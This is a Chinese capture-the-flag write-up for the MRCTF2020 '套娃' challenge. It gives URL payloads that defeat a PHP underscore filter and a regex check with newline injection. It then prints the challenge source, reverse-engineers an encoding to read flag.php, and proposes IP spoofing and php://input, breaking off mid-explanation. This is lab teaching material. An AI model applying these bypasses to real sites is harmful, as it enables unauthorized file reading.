Single

[MRCTF2020]套娃2 min read

0X00 第一关

查看源码,代码如下:

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

简单分析:

⚪$_SERVER[‘QUERY_STRING’]:查询(query)的字符串。例如http://shawroot.cc/?tags/upload,那么$_SERVER[“QUERY_STRING”] = “tags/upload″。

⚪substr_count():计算字符串出现的次数。%5f就是“_”的十六进制。

也就是正常传参,“?”后面的$_SERVER[‘QUERY_STRING’]都会照单全收比较难受,查阅了资料:

可以使用“%20”、“.”代替下划线,因为这里计算的是“%5f”的次数,十六进制不区分大小写,也可以使用“%5F”去绕过

看第二个判断条件:

⚪内容不能是“23333”。

⚪执行匹配正则表达式,想到达下一关$_GET[‘b_u_p_t’]的值必须是23333。

%0a即换行符的url编码,在preg_match没启动/s模式(单行匹配模式)时,正则表达式是无法匹配换行符(%0a,\n)的,且会自动忽略末尾的换行符。

利用以上特性,第一关payload可以是:

?b%20u%20p%20t=23333%0a

也可以是:

?b.u.p.t=23333%0a

0X01 第二关

上一关给了提示:FLAG is in secrettw.php。访问它,页面只有两句话:

Flag is here~But how to get it?Local access only!

Sorry,you don’t have permission! Your ip is :sorry,this way is banned!

源代码还有一大坨jsf**k,解码得到以下内容:

按照要求POST一个Merak,参数值随便,得到源代码:

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

思路很明显了,最后一行:

echo file_get_contents(change($_GET['file']));

必须要“file_get_contents(flag.php)”。正常是$_GET[‘file’]=flag.php,但是对其使用change函数做了处理:

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

首先将传入的值进行base64解码,然后逐位进行处理。反写:

<?php
function unchange($v){ 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return base64_encode($re); 
}
echo unchange("flag.php");
?>

运行后得到file参数应该传入的值是“ZmpdYSZmXGI=”。

if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' )

老生常谈的换IP。$_GET[‘2333’]考虑php://input,POST的值todat is a happy day这都没啥说的: